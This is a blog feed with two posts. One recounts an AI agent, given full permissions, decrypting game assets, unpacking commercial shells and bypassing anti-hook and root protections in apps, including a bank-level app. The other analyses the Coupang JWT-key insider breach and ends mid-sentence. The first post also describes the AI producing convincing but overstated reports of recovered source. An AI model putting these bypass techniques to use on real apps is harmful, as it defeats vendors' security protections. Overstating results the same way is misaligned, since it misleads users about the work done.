<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Huli&#39;s blog</title>
  
  <subtitle>Learning by sharing</subtitle>
  <link href="https://blog.huli.tw/atom.xml" rel="self"/>
  
  <link href="https://blog.huli.tw/"/>
  <updated>2026-04-18T12:03:31.215Z</updated>
  <id>https://blog.huli.tw/</id>
  
  <author>
    <name>Huli</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  
  
  <entry>
    <title>Reunderstanding the Power of AI Through Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/04/18/en/ai-reverse-engineering-op/"/>
    <id>https://blog.huli.tw/2026/04/18/en/ai-reverse-engineering-op/</id>
    <published>2026-04-18T02:46:30.000Z</published>
    <updated>2026-04-18T12:22:56.016Z</updated>
    
    <content type="html"><![CDATA[<p>Previously, I wrote a post titled <a href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/">Using AI to Do Simple Reverse Engineering</a>, describing how I combined an AI agent with Ghidra MCP to reverse engineer a stripped Golang binary. Although there were some minor errors in the results, the overall direction was correct.</p><p>Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.</p><p>This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.</p><span id="more"></span><h2><span id="selected-cases">Selected Cases</span></h2><p>The following cases are all Android applications unless otherwise specified.</p><h3><span id="case-1-cocos2d-game">Case 1: Cocos2d Game</span></h3><p>After AI unpacked the APK, it used jadx to decompile the Java and found that the game logic was not included.</p><p>Upon observation, it was discovered that the game was written in Cocos2d, with a large number of encrypted JavaScript and JSON files under the assets directory, as well as a <code>libcocos2djs.so</code>.</p><p>The next step was to parse the symbols within <code>libcocos2djs.so</code>, where some encryption and decryption functions were indeed found. However, since this SO file was 35 MB, AI deemed it too large and chose to reverse engineer from the decryption functions instead, identifying that the encryption algorithm was Blowfish.</p><p>Next, I traced who called the function that set the key, and after decompiling that segment, I restored the key, which was constructed in the original code by concatenating strings one by one:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">std<span class="token operator">::</span>string key<span class="token punctuation">;</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'7'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x37</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'2'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x32</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x63</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'d'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x64</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>（<span class="token number">32</span> in total）<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is particularly noteworthy because before attempting this method, AI first scanned the code to see if there were any strings resembling the key, but found none. By this point, AI understood that since the key was added one by one, it was not continuous in the code and could not be directly scanned.</p><p>Then, I wrote a Python script to decrypt all resources, ultimately obtaining the JavaScript and restoring the game logic and client-side configuration.</p><p>This case primarily involved pure static analysis, where AI used static analysis alone to find the encryption and decryption functions as well as the key-setting location, then decompiled back to derive the key’s content and decrypted the game resources.</p><h3><span id="case-2-another-cocos2d-game">Case 2: Another Cocos2d Game</span></h3><p>Similarly, after unpacking and using jadx, it was found that the DEX had a shell added. However, this game was also observed to be Cocos2d, so the DEX was set aside for now, and AI first looked at <code>libcocos2djs.so</code>, where a suspicious key was found.</p><p>However, since this key could not decrypt the encrypted JSC, AI took a different approach and used Unicorn Engine to simulate the execution of this SO, but there was no progress, as it got stuck after running for a while.</p><p>Since static analysis did not yield results, AI switched to dynamic analysis, installing an Android emulator and Frida to hook multiple parameters. Both <code>Memory.scanSync</code> and <code>fopen</code> failed, and later AI looked for the functions exported by <code>libcocos2djs.so</code>, discovering that <code>xxtea_decrypt</code> was public, so AI hooked <code>xxtea_decrypt</code>.</p><p>After running the game, AI obtained the correct key and restored the encrypted JSC files, which also contained the game logic and configuration.</p><p>After reaching this point, since the game had already been restored, AI stopped. I wanted to continue testing its capabilities, so I said to it, “Why don’t you try to unpack that shell?” As a result, the protection of that shell was quite weak, and after running it, frida-dexdump quickly dumped all the DEX.</p><p>This case switched from static analysis to dynamic analysis with hooking, and also conveniently unpacked a shell (although the shell was quite weak).</p><h3><span id="case-3-unity-game">Case 3: Unity Game</span></h3><p>After unpacking the APK, there were three SO files: libil2cpp, libunity, and libxlua. It was speculated that the core logic was at the Lua layer. AI then used Il2CppDumper to unpack the global-metadata, extracting some C# files and DLLs. After decompiling with ILSpy, it was found that they were all classes with empty implementations (seemingly how IL2CPP works?).</p><p>Using jadx to decompile Java also yielded some SDKs, with no game logic, so AI focused on finding the Lua files.</p><p>Using UnityPy to scan all asset bundles for TextAssets, AI only found four Lua scripts, none of which contained the core game logic. From the C# code AI obtained earlier, AI found some strings indicating that the game had a hot update system. AI attempted to download using the URLs and AES key and IV found within, but all returned 404 errors and could not be downloaded.</p><p>Later, AI turned back to the asset bundle and found a bundle containing 3000 TextAssets (which AI didn’t check the first time). From the file names, AI confirmed they were encrypted Lua scripts.</p><p>Upon observation, AI noticed that many of these files had the same first 6 bytes, speculating that they were the beginning of Lua 5.3 compiled bytecode. AI attempted to reverse-engineer the key using XOR but found it impossible to decrypt. Then AI tried several different encryption methods, various AES modes, but still couldn’t decrypt it.</p><p>Next, AI decompiled libil2cpp and saw that the decryption process indeed used XOR, and the key was a 6-byte sequence that repeated. In C#, AI couldn’t find it using a static method with global-metadata, and AI hit a roadblock, so I intervened.</p><p>I asked him, “Would dynamic analysis be faster?”</p><p>The AI provided two options: one was Frida hook, and the other was Unicorn simulation. I chose the latter, and during the script writing, the AI cleverly cracked it using a different method. It said it observed those files and found that the first 54 bytes of half of them were identical, and they were a repeating sequence of 6 bytes: <code>c3 70 43 22 34 a6</code>.</p><p>If the key is a 6-byte repeating XOR, then the repetition in the ciphertext indicates that the plaintext is also repeated. What Lua file would have so many identical characters at the beginning?</p><p>The AI boldly guessed: “Comments.” Lua comments start with <code>--</code>, and many frameworks have a habit of placing a long comment starting with <code>-----</code> as a separator. Based on this assumption, it XORed to obtain the key, then decrypted the Lua scripts, discovering that everything was unlocked, revealing readable source code.</p><p>The key to this case is that the AI is observant and employs various methods to attempt decryption. Below is the process the AI followed while solving this case, showing that it tried many methods in between but none worked, so it moved on to the next method:</p><pre class="line-numbers language-none"><code class="language-none">XAPK unpack  ↓Il2CppDumper + ILSpy + JADX  ← standard workflow, nothing unusual  ↓UnityPy scan → only 4 tool scripts found  ← assumed core logic is server-side  ↓Locate AppConfig → obtained CDN URL and AES key  ↓Attempt download → all 404  ← dead end  ↓Re-examine AssetBundle → found encrypted files!  ↓Inspect ciphertext → noticed repeating 6-byte pattern  ↓❌ Wrong assumption: Lua bytecode → derived incorrect keystream  ↓❌ Tried AES-CBC&#x2F;ECB&#x2F;OFB&#x2F;CTR&#x2F;CFB → none matched❌ Tried RC4 → no match❌ Tried .NET Random (10K seeds) → no match  ↓Reverse engineered libil2cpp.so → confirmed it&#39;s simple repeating XOR (not a stream cipher)  ↓❌ Tried statically finding ENCRYPT_BYTES → failed❌ Tried metadata defaultValues → failed❌ Tried ELF GOT&#x2F;RELA → too deep  ↓Revisited ciphertext patterns → 1500 files share a 62-byte prefix  ↓💡 Hypothesis: plaintext is repeated &#39;-&#39; (0x2d) → XOR to recover key → decryption succeeded!<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="case-four-another-unity-game">Case Four: Another Unity Game</span></h3><p>Similar to the previous one, it was also discovered to be Unity + Lua, but this time the decryption method was simpler. After dumping the C#, AI searched using “encrypt” as a keyword and directly found the LuaEncryption key and the custom asset bundle offset, needing to skip the first 12 bytes.</p><p>Next, AI skipped 12 bytes and used the key to XOR, obtaining the Lua bytecode (this time it was bytecode, not source code), which was then concatenated into a large asset.</p><p>Next, the AI wrote a Python script:</p><ol><li>Skip the first 12 bytes of the custom header</li><li>Scan all positions marked with <code>UnityFS\x00</code></li><li>Cut into independent bundles by offset</li><li>Parse each bundle using UnityPy</li><li>Extract all <code>.lua.bytes</code> files</li><li>Decrypt each file using the key with XOR</li></ol><p>This resulted in over 7000 Lua JIT bytecodes, which were then all fed into ljd to recover, yielding much more readable Lua source code, totaling 10 million lines.</p><p>This case is similar to the first one; static analysis handled everything, directly finding the encryption key and method, recovering all resources.</p><h3><span id="case-five-obfuscated-app">Case Five: Obfuscated App</span></h3><p>This is a common app that has undergone some protection. The Java layer has been obfuscated to make it difficult to reverse, and the encryption and decryption logic is placed in the so files, accessed via JNI. When sending requests, it goes through some encryption plus a signature; if the algorithm cannot be cracked, it cannot be used outside the app.</p><p>The AI discovered that after obfuscation, it wrote a de-obfuscation script that restored several core class names, then began to reverse-engineer that section of the so file, using capstone + lief to disassemble the arm64-v8a version, restoring it to pseudo-C.</p><p>With this code, further analysis was possible, ultimately restoring the encryption and decryption algorithms along with the key.</p><p>So, despite the obfuscation, the AI could derive some methods to attempt restoration through observation. Even if it couldn’t restore everything, the AI’s ability to read obfuscated code is far superior to that of a human.</p><h3><span id="case-six-bank-level-app">Case Six: Bank-Level App</span></h3><p>After trying the above cases, I decided to challenge the boss: a bank-level app.</p><p>Banks usually have stricter requirements for information security, so there will definitely be a lot of encryption, obfuscation, and packing, along with various anti-root and anti-hook mechanisms. Therefore, “bank-level” refers to similar specifications.</p><p>The goal is clear: to be able to open the app on a rooted emulator and hook to see the request content. Achieving this means that the internal protection mechanisms have been bypassed.</p><p>This bank-level app is packaged with what is commonly known as a commercial shell (meaning a shell specifically made by a certain company; these commercial solutions can be quite expensive, costing hundreds of thousands of TWD per year), with the main logic contained in a so file.</p><p>The AI first used <code>objdump -h</code> to check the section headers and found two non-standard sections. Then, more than half of the <code>.text</code> section was encrypted and could not be disassembled, and the <code>.rodata</code> section was also completely encrypted. However, from other clues, it had already inferred which company’s shell it was.</p><p>Next, the AI began trying to remove the shell of the so file, experimenting with several methods that all failed, such as attempting to brute-force the key.</p><p>After several failed attempts, it started to solve some areas that could be resolved. After trying a few methods, it understood how the shell operated and successfully removed it.</p><p>Once the shell was removed, it could see what was inside and the protective measures in place. At the native layer, there were these protections:</p><ul><li>Anti-injection detection: Scanning <code>/proc/self/maps</code> for memory mappings like <code>frida-agent</code>, <code>frida-gadget</code>, etc.</li><li>Thread name scanning: Reading <code>/proc/self/task/*/comm</code> to find Frida characteristic threads like <code>pool-frida</code>.</li><li>Anti-debug: <code>ptrace(PTRACE_TRACEME)</code> self-attach to prevent debuggers.</li><li>String matching: Searching for Frida keywords in memory using functions like <code>strstr</code>, <code>strncmp</code>, etc.</li><li>SO shell: The <code>.text</code> segment is encrypted, dynamically decrypted at runtime, making static analysis impossible.</li></ul><p>At the Java layer, there were these:</p><ul><li>Root detection: <code>File.exists()</code> checks for paths like su, magisk, supersu, etc.</li><li>Emulator detection.</li><li>SystemProperties detection.</li><li>Anti-debug.</li><li>SSL Pinning.</li></ul><p>The bypass method was to hook various methods in advance, making them undetectable, and then the native layer would pass the results to Java, where patching could also be done. Since it was already aware of the detection methods, it could handle them accordingly.</p><p>As for the obfuscation at the Java layer, the AI wrote a 1000-line Python script based on various rules to restore the strings, resulting in highly readable strings.</p><p>In summary, it was successful in the end; the app could be opened, and requests could be hooked, with all protective measures bypassed.</p><h3><span id="case-seven-a-packaged-game">Case Seven: A Packaged Game</span></h3><p>Since learning that AI could also remove shells, I thought perhaps there was nothing that AI couldn’t crack, so I looked for another packaged game.</p><p>This game’s difficulty was higher than the previous one; it also used a commercial shell and implemented double encryption. Its dex was first encrypted with one so file, and then that so file was encrypted with another so file, while the entry point’s so file itself was also shelled, preventing decryption.</p><p>I let the AI try for a day, but in the end, it didn’t yield any results. Even though I found other articles online that had already removed the shell, it still couldn’t fully crack it; the shell of the so file remained intact, and it encountered some obstacles.</p><p>However, after I directed the AI to change its approach, it discovered that the main logic of this Unity game was actually in Lua. Although the resources in Lua were encrypted, after observing the encrypted hex, it quickly identified the pattern and managed to decrypt it.</p><p>So, although the Java layer’s code wasn’t fully decrypted and the shell wasn’t removed, the core game logic was obtained.</p><p>This should count as a success, right? Given more time, more reference materials, and better tools, I believe it could also remove that shell.</p><h2><span id="my-ai-usage-and-costs">My AI Usage and Costs</span></h2><p>I used Cursor paired with Claude Opus 4.6 high thinking, without installing any skills, and the prompt was very simple:</p><blockquote><p>There is an apk under the xxx folder, reverse it to restore it to the original code.</p></blockquote><p>If it got stuck on something midway, I would give it some instructions, for example, when encountering a shelled file:</p><blockquote><p>How did it achieve static analysis resistance? What kind of encryption method is used, and when will it be decrypted? Try to see if you can remove the shell.</p></blockquote><p>Sometimes, I would give more specific instructions:</p><blockquote><p>Let’s plan what to do next; I’m going to sleep soon.</p><ol><li>Restore the .so to C.</li><li>Check what other protections the apk has and how to crack them.</li><li>Restore the Java from the obfuscated code; at least understand the logic or observe which patterns indicate it’s Android’s own lib.</li></ol><p>These are the main tasks. I want you to have a thorough understanding of the protection methods of this apk, as if you have the source code, and come up with a cracking method.</p></blockquote><p>I granted it all permissions, and it installed all the tools itself. It usually starts with static analysis, and when it gets stuck for a long time, I switch it to dynamic analysis, installing an Android emulator with Frida hook.</p><p>I observe what the AI is doing, and if I feel it’s straying too far from the direction, I intervene and give suggestions (though this happens rarely). After the AI finishes, I ask it to summarize what it did, where it got stuck, and how it resolved those issues.</p><p>After reversing many apps, I summarize these experiences into skills, allowing for faster speeds next time.</p><p>The time taken to reverse each app varies, but most are around 30 minutes. I haven’t calculated the tokens in detail, but under Cursor’s billing, reversing an app costs less than 5 dollars.</p><p>However, I also tried using Claude Code once, and one Unity game took 40 million tokens, which translates to about 27 dollars.</p><p>Therefore, a more fair statement would be that, purely based on token usage, I guess the average falls around 30 dollars. As for why using Cursor is so cheap, I don’t know; it’s clearly the same model.</p><h2><span id="the-limitations-of-ai">The Limitations of AI</span></h2><p>Although it is said that everything that can be solved has been solved, some things are only perceived to be solved, but in reality, they are not done well at all.</p><p>For example, after decompiling a game’s APK, it usually uses some tools to extract DLL files and then restore them to C#. Typically, my instruction is to “restore the source code,” but sometimes it only restores to the interface, with only method definitions and parameters, lacking the implementation logic.</p><p>Next comes the part where AI can easily deceive you. Even if it only has the interface, it can guess the operational logic based on these names and structures, so if you ask it to write a report analyzing what is present, it can write convincingly.</p><p>If you don’t follow up on the details, you might think it has truly restored the source code, but that’s not the case.</p><p>This is a place that requires great caution. I always follow up with it, asking, “So, did you get the source code? Let’s take a look at the implementation of the login system; we need to see the implementation for it to count,” forcing it to dig deeper and restore what I want.</p><p>This confirmation process is very important; without this step, it becomes incomplete, and you can be deceived by AI. Conversely, if you confirm properly, the output from AI will definitely satisfy you.</p><h2><span id="some-insights">Some Insights</span></h2><h3><span id="it-turns-out-i-limited-ai">It Turns Out I Limited AI</span></h3><p>My previous understanding of AI was: “Reversing some small things is definitely no problem, but it probably can’t unpack,” but later AI proved me wrong.</p><p>That’s when I realized I was the limiter of AI.</p><p>I hadn’t tried it myself, but I thought AI couldn’t do it. In the past, during software development, I had similar thoughts; some tasks I did myself because I felt AI couldn’t handle them. For example, needing to modify multiple projects simultaneously, or a larger feature that required a deep understanding of the overall architecture, I would think AI couldn’t do it, so I might as well do it myself.</p><p>But later, as I started delegating more and more tasks to AI, I found that it could handle most of them, reaffirming that I was the limiter of AI. No wonder some people say that in certain fields, those who don’t understand use AI better because they don’t assume AI can’t do something and let it try everything; if it can’t do it, then they address it.</p><p>Returning to the topic of AI reversing, I observed the processes of AI reversing so many apps and found that, at its core, they are all the same: making various attempts and observing the output, then improving based on the output or trying a different approach.</p><p>For example, once Frida hooks are set up, if the hook fails, it will modify based on the error log. If the app closes itself after the hook, it will change the timing of the hook or test which part is being detected, then make adjustments.</p><p>Perhaps, as long as you can provide AI with an environment where it can thrive, ensure it can see enough logs and validate correctness, and give it enough time, there is nothing that cannot be reversed. I later also tried desktop apps and wasm, and they worked too.</p><p>Even if it’s packed, as long as you let AI observe and track, just like the human reversing process, it can slowly observe, take action, adjust based on results, and then try again, repeatedly, until it succeeds.</p><p>Although I already knew AI was strong, I didn’t expect it to be this powerful. As I mentioned before in <a href="https://blog.huli.tw/2023/04/27/en/android-apk-decompile-intro-1/">a previous post</a>, I have a bit of knowledge about reverse engineering, but when it comes to the native layer, I am completely lost, while AI has surpassed my capabilities, accomplishing things I couldn’t do, even things I thought it couldn’t do.</p><p>After this exploration, my perspective on AI’s capabilities has completely changed, and I have given more thought to the idea of “AI replacing software engineers.” If what I said earlier, “there is nothing that cannot be reversed,” is true, can this also be applied to software development? If AI can plan, write code, test, and validate results on its own, could it continuously run and produce a complete application with good quality?</p><p>Let’s save this topic for later; there are other angles we can explore together.</p><h3><span id="the-balance-of-offense-and-defense">The Balance of Offense and Defense</span></h3><p>As long as it is something on the client side, there are no secrets.</p><p>Obfuscation or packing is just a way to delay the time it takes to be reversed; as long as enough time is spent, all your code runs on the client, so everything can be reversed.</p><p>Therefore, many defensive techniques are based on “increasing difficulty to prolong cracking time.” We all know there are no secrets on the client, but there are still some things on the client side that we want to protect as much as possible to increase the difficulty of reversing.</p><p>Thus, the defending side obfuscates the code, turning variables into a bunch of unreadable text, or even encrypting constants that can only be decrypted when executed, not wanting you to see the plaintext so easily. Packing is the same; they don’t want you to easily see what is running inside, and anti-debugging is also aimed at preventing you from rooting, hooking, or debugging, so they try to detect whether various reverse engineering tools exist.</p><p>On the other hand, the attacking side spends time reversing your original logic, relying on experience to speed up, knowing that this pattern looks like AES, this looks like XOR, this pattern has appeared before, and figuring out how to crack it, etc. As long as the defending side makes even a slight adjustment, the final output could be completely different, and the attacking side would need to start over.</p><p>However, with AI reversing becoming so powerful, will the positions start to reverse? The shell that the attacking side spent so much time creating could be removed by AI in just an hour. After thinking of so many obfuscation methods and implementing a new algorithm, AI could just look at it and write a reverse script, reassembling everything back together.</p><p>If the defenders want to keep up, they may need to use magic against magic, using AI to obfuscate. Each time they obfuscate, they should use a completely new method or pattern, and it’s not just a simple change; it should be made more complex by AI to ensure that the attackers have to start from scratch.</p><p>But even so, in front of AI, will it only take one or two hours to crack it? I don’t know.</p><h2><span id="summary">Summary</span></h2><p>I am not a reverse engineering expert, so I won’t comment much on the impact of AI in this field. But at least for someone like me who is not very skilled in reverse engineering, AI has almost completely met my needs for reverse engineering. Desktop applications can be reversed, APKs can be reversed, WASM can be reversed, shells can be stripped, and encryption can be decrypted.</p><p>For binary reverse engineering, although sometimes I need to assist in opening Ghidra and help set up Ghidra MCP, these are minor issues.</p><p>After this experience and witnessing the capabilities of AI, I have already submitted to AI.</p><p>Is there anything that AI cannot crack? Perhaps there is; for example, the case I mentioned above, Case Seven, has not actually been cracked. It just obtained what I wanted in a different way without fully restoring the APP. But aside from that, it has indeed cracked everything else (by the way, I am curious if AI can crack the <a href="https://www.hybridclr.cn/en/docs/business/basicencryption">commercial shell</a> of HybridCLR, but I haven’t encountered this commercial version yet).</p><p>Is it possible that I make AI reverse engineering sound very powerful, while in the eyes of professionals, it is not that impressive? That is also possible, after all, the things I have dismantled can also be dismantled by the experts in the kanxue (a well-known reverse engineering community in China), and some things have already been dismantled and shared, which AI has referenced.</p><p>But in any case, the original intention of this article is to record my experience with AI reverse engineering, summed up in one word: “amazing”. This experience has completely influenced my view of AI’s capabilities.</p><p>And it’s not “AI-assisted reverse engineering”; it’s full AI reverse engineering. The tool installs itself, analyzes itself, and decompiles itself. I just stand by and say, “You should be able to crack this, try again.”</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Previously, I wrote a post titled &lt;a href=&quot;https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/&quot;&gt;Using AI to Do Simple Reverse Engineering&lt;/a&gt;, describing how I combined an AI agent with Ghidra MCP to reverse engineer a stripped Golang binary. Although there were some minor errors in the results, the overall direction was correct.&lt;/p&gt;
&lt;p&gt;Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.&lt;/p&gt;
&lt;p&gt;This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Learn Internal Threats, Key Management, and JWT from the Coupang Data Breach</title>
    <link href="https://blog.huli.tw/2026/03/19/en/coupang-insider-kms-and-jwt/"/>
    <id>https://blog.huli.tw/2026/03/19/en/coupang-insider-kms-and-jwt/</id>
    <published>2026-03-19T02:28:05.000Z</published>
    <updated>2026-03-19T11:36:59.476Z</updated>
    
    <content type="html"><![CDATA[<p>Since November last year, the data breach incident at Coupang has attracted considerable attention, partly due to the reportedly massive amount of leaked data, and partly because the company has a presence in Taiwan. As the investigation progresses, more and more details have emerged, even being described as like a movie plot, with efforts to retrieve hard drives from rivers.</p><p>Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.</p><span id="more"></span><h2><span id="how-did-they-get-in">How Did They Get In?</span></h2><p>First, let’s briefly summarize the events of the incident to provide a basic context before diving into the finer details.</p><p>Currently, there are two official statements from Taiwan:</p><ol><li><a href="https://tw.coupangcorp.com/archives/5789/">Coupang Taiwan’s Latest Statement on the Recent Cybersecurity Incident in Coupang Korea</a> (Published on 2025-12-25)</li><li><a href="https://tw.coupangcorp.com/archives/5954/">Coupang Taiwan: Update on the Data Breach Announced on November 29, 2025</a> (Published on 2026-02-24)</li></ol><p>However, more details can be found in this official statement available only in English and Korean: <a href="https://www.aboutcoupang.com/English/news/news-details/2025/update-on-coupang-korea-cybersecurity-incident/">Update on Coupang Korea Cybersecurity Incident</a> (Published on 2025-12-29)</p><p>For those interested in more technical details, you will need to refer to the investigation report released by the Ministry of Science and ICT (MSIT) in Korea on February 10, which is extremely detailed: <a href="https://www.msit.go.kr/eng/bbs/view.do;jsessionid=iMyzX8C42zedbf27PtWxq844qjcyYy0VOCt74FEO.AP_msit_2?sCode=eng&mPid=2&mId=4&bbsSeqNo=42&nttSeqNo=1221&utm_source=perplexity">Investigation Results on the Data Breach by a Former Coupang Employee</a>. The technical details cited in this article will also come from this report.</p><p>The incident began on November 16, 2025, when Coupang received an email from the attacker, claiming that a large amount of personal data had been leaked due to a system vulnerability, along with relevant screenshots as proof.</p><p>Coupang immediately launched an investigation and began reviewing logs, discovering that data had indeed been stolen, leading to the news everyone has seen. The incident has now largely come to a close, and the relevant results can be found through official statements and news reports. This article will not discuss the results but will focus solely on the technical details.</p><p>Therefore, the question we are concerned with is: “How did this attacker get in?” Let’s first look at their identity.</p><blockquote><p>The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, while employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.</p></blockquote><p>The attacker was a former employee and was responsible for developing auth-related systems. The person who sent the email at the beginning is also this individual, but the report and news do not explain why they chose to expose their own attack.</p><p>In a normal login process, after verifying the username and password, the system issues an “electronic access badge” (as stated in the report), and then the server uses a signing key to verify whether this badge is legitimate. While working at Coupang, the attacker directly obtained this signing key, allowing them to locally sign a legitimate badge and log in as anyone.</p><p>This electronic access badge sounds a lot like a JWT token. I tried it myself on Coupang’s Taiwan website and found that the token used for identity verification is indeed a JWT token (CT_AT_TW). When decoded, it looks like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"aud"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"https://www.tw.coupang.com"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"client_id"</span><span class="token operator">:</span> <span class="token string">"4cb7da11-c6d6-4ca3-875f-332cf489d5d"</span><span class="token punctuation">,</span>  <span class="token property">"exp"</span><span class="token operator">:</span> <span class="token number">1773067653</span><span class="token punctuation">,</span>  <span class="token property">"ext"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"LSID"</span><span class="token operator">:</span> <span class="token string">"a3788aeb-239c-453d-cd90-72ac345aa431"</span><span class="token punctuation">,</span>    <span class="token property">"fiat"</span><span class="token operator">:</span> <span class="token number">1773064052</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token property">"iat"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"iss"</span><span class="token operator">:</span> <span class="token string">"https://mauth.tw.coupang.net/"</span><span class="token punctuation">,</span>  <span class="token property">"jti"</span><span class="token operator">:</span> <span class="token string">"043c2c37-c373-4b75-abbc-ad8e646bb490"</span><span class="token punctuation">,</span>  <span class="token property">"nbf"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"scp"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"openid"</span><span class="token punctuation">,</span>    <span class="token string">"offline"</span><span class="token punctuation">,</span>    <span class="token string">"core"</span><span class="token punctuation">,</span>    <span class="token string">"core-shared"</span><span class="token punctuation">,</span>    <span class="token string">"pay"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"sub"</span><span class="token operator">:</span> <span class="token string">"556683653781741"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Although I don’t know the internal technical implementation details of Coupang and can’t be 100% sure it’s a JWT token, since the mechanism of signing tokens for identity verification is most suitable with JWT tokens, let’s assume it’s a JWT token for now. Even if something else is used behind the scenes, the process should be similar.</p><p>At this point, it’s already quite clear how the attacker got in: they obtained the signing key (or you could also say the JWT secret) while still employed, so after leaving the company, they used this signing key to sign tokens themselves. The server verified it as legitimate and let them through, allowing them to log into someone else’s account. Once logged in, they could access personal information on pages like “my profile.”</p><p>So this is actually not an external attack; it wasn’t an external hacker exploiting a vulnerability in the auth system. Instead, it’s an insider threat, where a former employee used internal information obtained during their employment to breach the system.</p><p>Next, we can look at this issue from two angles: why an internal key was accessible to a developer, and the risks of using JWT tokens as an auth verification mechanism.</p><h2><span id="key-management-lifecycle">Key Management Lifecycle</span></h2><p>Keys are important; everyone knows this. The lifecycle of a key actually consists of several stages:</p><ol><li>Key Generation </li><li>Key Storage </li><li>Key Distribution</li><li>Key Usage</li><li>Key Rotation</li><li>Key Destruction</li></ol><p>The first step is to generate a secret key and ensure that the generation method is secure. This step usually emphasizes using secure algorithms, sufficiently random entropy, and a secure environment, etc. A problematic example would be using an insecure random number generator (like <code>Math.random()</code>) or generating the key in an insecure environment, such as on a developer’s local machine.</p><p>After generation, a secure location must be chosen for storage, such as an HSM or KMS. A counterexample would be storing it in plaintext on a specific machine.</p><p>Next, when the system needs to use this key, it must be able to securely transfer the key from the storage location to the usage location. A counterexample would be transmitting the key directly over HTTP on an internal network, where anyone intercepting the packets could see the plaintext key.</p><p>When using the key, it must be used correctly. The key should only be used for its intended purpose, and access should be restricted to those who can use it. For example, if I generate one key and every system uses the same one, that is an incorrect usage method. If it gets stolen, every system is compromised. There should be one key for auth, one for payment, or even multiple keys within the same system.</p><p>From Coupang’s public statement, it can be seen that although their auth key was leaked, payment-related services were unaffected, and no data was leaked. The investigation report from Korea also indicated that the impact was limited to pages like “My Information,” excluding payment-related information.</p><p>Finally, regarding key retirement, key rotation should be performed regularly to replace keys and limit the attack time window. After a key is completely destroyed, it must be ensured that it cannot be recovered, and that key should not be used again.</p><p>In this lifecycle, any step with an issue could lead to key leakage.</p><p>In the case of Coupang, since a former employee could access the key, it suggests that there was an error in the first two steps. The investigation report pointed out that the current employee’s computer also had this key:</p><blockquote><p>A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding).</p></blockquote><p>Many companies, when managing keys, may only consider half of the process. For example, they might know to use some Secret Manager or vault to store keys and securely transmit them for system use, but overlook other steps, such as key generation.</p><p>How was this key generated? Many companies might have a developer generate a key locally and then pass it to SRE, who configures it in the vault. In this process, the key has already been known to at least two internal employees, and there isn’t much logging available to check, as this occurs before the key is placed in the vault.</p><p>When the key is managed elsewhere, it is possible for SREs to have the permission to directly view the plaintext of the key and steal it. However, the vault system should have an access log that can be traced back. But if the logging occurs before the key is placed in, there will be no record, creating a security vulnerability.</p><p>Although the risk of insiders is relatively lower compared to other categories, as internal malfeasance is usually easier to detect and can lead to legal consequences, once it occurs, it can still cause significant damage to the company’s reputation, just like the recent Coupang incident.</p><h2><span id="safer-key-management-methods">Safer Key Management Methods</span></h2><p>Earlier, it was mentioned that many companies have no issues with key storage, but they do not do well in the key generation phase, allowing insiders to directly obtain the key, thus introducing internal risks.</p><p>Therefore, the safest method is “no one knows what this key is.”</p><p>“Anyone” includes SREs, CISO, 